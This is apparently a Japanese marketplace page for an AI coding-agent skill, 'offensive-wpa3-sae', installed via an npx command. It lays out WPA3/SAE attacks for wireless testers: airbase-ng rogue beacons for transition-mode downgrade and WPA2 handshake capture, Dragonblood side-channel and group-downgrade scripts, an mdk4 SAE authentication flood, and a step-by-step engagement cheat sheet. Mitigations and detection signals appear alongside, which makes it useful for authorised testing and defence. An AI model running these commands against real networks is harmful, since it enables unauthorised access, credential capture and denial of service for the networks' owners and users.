offensive-wpa3-sae について
無線セキュリティテスト担当者向けに、移行モードのダウングレード、Dragonbloodのサイドチャネル、認証フラッディングなど、WPA3 / SAEの攻撃経路を扱うスキルガイドです。H2E、パッチ、6 GHzネットワークが攻撃の適用性に与える影響も説明しています。
主な機能
- 01WPA3と移行モード設定の特定
- 02SAEのダウングレードとサイドチャネルのリスク評価
- 03H2Eと実装のパッチ状況確認
- 04SAE認証フラッディングのリスク検証
- 05検知シグナルと適用条件の整理
活用シーン
- 01WPA2 / WPA3混在ネットワークのダウングレード評価
- 02組み込みアクセスポイントでのDragonblood適用性確認
- 03許可された範囲でのSAEサービス拒否リスク評価
- 046 GHzネットワークの攻撃対象領域の把握
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-wpa3-saeインストール後、Claude Code で/offensive-wpa3-saeを入力して読み込まれたか確認します。
詳細
WPA3 / SAE 攻撃
WPA3 は、4 ウェイ PSK 交換を SAE(Dragonfly をベースとしたパスワード認証鍵交換)に置き換えることで、WPA2 のオフラインハンドシェイククラッキングの脆弱性を解消します。単純なオフラインクラッキングはできなくなりますが、トランジションモードの設定ミスや、初期の SAE 実装におけるサイドチャネル漏えいによって、新たな攻撃経路が生まれます。
クイックワークフロー
- 対象が WPA3 をアドバタイズしていることを確認します(RSN IE に AKM SAE = 8 が表示されます)
- トランジションモード(WPA2 と WPA3 の混在)かどうかを確認します。最も簡単な経路です
- WPA3 専用の場合は、Dragonblood が適用可能かどうか、AP の hostapd バージョンを特定します
- 到達可能な場合は、サイドチャネルのタイミング攻撃またはキャッシュ攻撃を試します
- それ以外の場合、オフラインクラッキングは実行できないと判断し、別の攻撃対象に移ります
トランジションモードのダウングレード
AP が WPA2-PSK と WPA3-SAE の両方をアドバタイズしている場合(混在クライアントネットワーク向けのトランジションモード)、古いクライアントを WPA2 に誘導できます。
# Identify transition mode in beacon frames
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
# Encryption column shows WPA2 WPA3 (both)
手順:
- 同じ BSSID/SSID で、RSN-WPA2 のみをアドバタイズするビーコンを偽装します
- クライアントがビーコンにローミングし、WPA2 の 4 ウェイハンドシェイクを実行します
offensive-wpa2-pskとまったく同じ方法でハンドシェイクをキャプチャします
# Use hostapd-mana or airbase-ng for the WPA2-only AP advertisement
airbase-ng -e CorpWiFi -c 6 -W 1 wlan0mon
# -W 1 enables WPA, configure for WPA2-only RSN element
これが機能する理由: WPA3-SAE クライアントは、AP が WPA2 のみをアドバタイズしている場合、WPA2-PSK にフォールバックします。トランジションモードには、ダウングレードを防ぐ保護機能がありません。WPA3 専用モード(トランジションなし)であれば、これを防げます。
防御側の緩和策: WPA3 専用ネットワーク(WPA2 なし)を使用します。Wi-Fi 6E(6 GHz)では、仕様により WPA3 専用が必須です。
Dragonblood(CVE-2019-9494 / 9495 / 13377 / 13456)
hostapd/wpa_supplicant 2.10 より前のバージョンにおける SAE の Hunting-and-Pecking アルゴリズムを標的とした、サイドチャネル攻撃およびダウングレード攻撃です。
キャッシュベースのサイドチャネル
初期の SAE パスワード要素導出処理では、パスワードと MAC に応じて、反復回数が変化します。キャッシュヒットから反復回数が漏えいします。
git clone https://github.com/vanhoefm/dragonblood
cd dragonblood
# Cache-based attack (requires co-located malicious code on target host — limited)
python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon
タイミングサイドチャネル
同じ反復回数が、外部から観測可能な SAE コミットフェーズの処理時間を通じて漏えいします。
python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon --mode timing
弱いグループへのダウングレード
一部の実装では、クライアントが要求すると、非推奨の MODP グループ 5 を使った SAE を受け入れます。これをキャッシュ/タイミングサイドチャネルと組み合わせると、オフライン辞書攻撃が可能になります。
python3 dragondrain.py wlan0mon AA:BB:CC:DD:EE:FF
修正済みバージョン
| 実装 | 修正 |
|---|---|
| hostapd / wpa_supplicant | 2.10(2022 年 4 月) |
| Apple iOS / macOS | 2019 年のパッチ |
| Windows | 2019~2020 年に KB 単位で適用 |
| 組み込みルーター | 未修正のことが多く、一般消費者向け SOHO 製品での該当率が高い |
ハッシュから要素への変換(H2E)
WPA3 R2 では、反復回数が漏えいする Hunting-and-Pecking に代わるものとして H2E が導入されました。H2E は定時間処理です。AP が RSNXE 要素で H2E をアドバタイズしている場合、Dragonblood クラスの攻撃は適用されません。
# Wireshark filter
wlan.rsnx.field.h2e
H2E が存在し、必須である場合(Hunting-and-Pecking へのフォールバックがない場合)、攻撃対象として残るのは仕様のみです。SAE 攻撃を断念し、別の攻撃対象に移ります(PMF の確認、Enterprise の場合は EAP 経由のイービルツイン、管理フレーム経由のサプライチェーン攻撃)。
SAE 認証フラッディング(DoS)
SAE のコミットフェーズでは、関連付けの試行ごとに AP が負荷の高い楕円曲線演算を実行する必要があります。フラッディングによって、低性能 AP の CPU が枯渇し、正規のクライアントがサービスを利用できなくなる可能性があります。
sudo mdk4 wlan0mon a -a AA:BB:CC:DD:EE:FF -m -s 1024
# Auth attack mode -a, multiple per second -s 1024
これは DoS 攻撃です。明示的な許可がある場合に限り実施してください。 最新のエンタープライズ AP は、SAE フラッド攻撃を抑制するためにアンチクロギングトークンを使用しますが、一般消費者向けルーターでは使用されていないことがよくあります。
6 GHz/Wi-Fi 6E の影響
6 GHz 帯(Wi-Fi 6E、5925~7125 MHz の範囲にあるチャネル 1~233)では、次の要件が適用されます。
- WPA3 専用(トランジションモードなし)
- PMF(802.11w)が必須(認証解除/関連付け解除を保護)
- オープンネットワークでは OWE(Opportunistic Wireless Encryption)
結果として、WPA3 以前の攻撃の大半(認証解除、トランジションモードのダウングレード)は 6 GHz では適用されません。SAE の純粋なサイドチャネル攻撃、イービルツイン攻撃、またはアウトオブバンド攻撃は、引き続き可能です。
検知に関する考慮事項
WPA3はWPA2と同様にエンタープライズ環境で防御されます。WIDSは次の攻撃を検知します。
- フィンガープリントの不一致(IEの順序、ベンダー固有情報、ビーコンのタイミング)によるビーコンの偽装(移行モードのダウングレード)
- 送信元MACアドレスごとの関連付けレートによるSAEフラッド
- SAEコミットの失敗の繰り返し(タイミング攻撃のテレメトリー)
パッチ適用済みの最新のhostapdに対するDragonbloodクラスの攻撃が成功する可能性は低いですが、一般消費者向けSOHOおよび組み込みAPは引き続き対象範囲です。
エンゲージメント用チートシート
# 1. Identify mode
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
# Encryption: WPA2 + WPA3 → transition; WPA3-only → SAE-only
# 2. Transition-mode downgrade attempt
sudo airbase-ng -e <ESSID> -c <ch> -W 1 -z 4 wlan0mon # WPA2-RSN advertised only
# 3. Wait for client roam, capture WPA2 handshake (handoff to offensive-wpa2-psk)
# 4. If pure WPA3, fingerprint hostapd
# (passive analysis of beacon IE order + version-specific behaviors)
# 5. Run Dragonblood test scripts if pre-2.10 hostapd suspected
python3 dragondrain.py wlan0mon <BSSID>
python3 dragontime.py --bssid <BSSID> --iface wlan0mon
# 6. Document residual viable attacks; pivot to evil-twin / EAP / RF if pure WPA3 R2
主な参考資料
- Dragonblood:dragonblood.net(Vanhoef + Ronen)
- IEEE 802.11-2020(WPA3を含む統合仕様)
- WFA WPA3仕様
- hostapd 2.10リリースノート
- ソース:https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md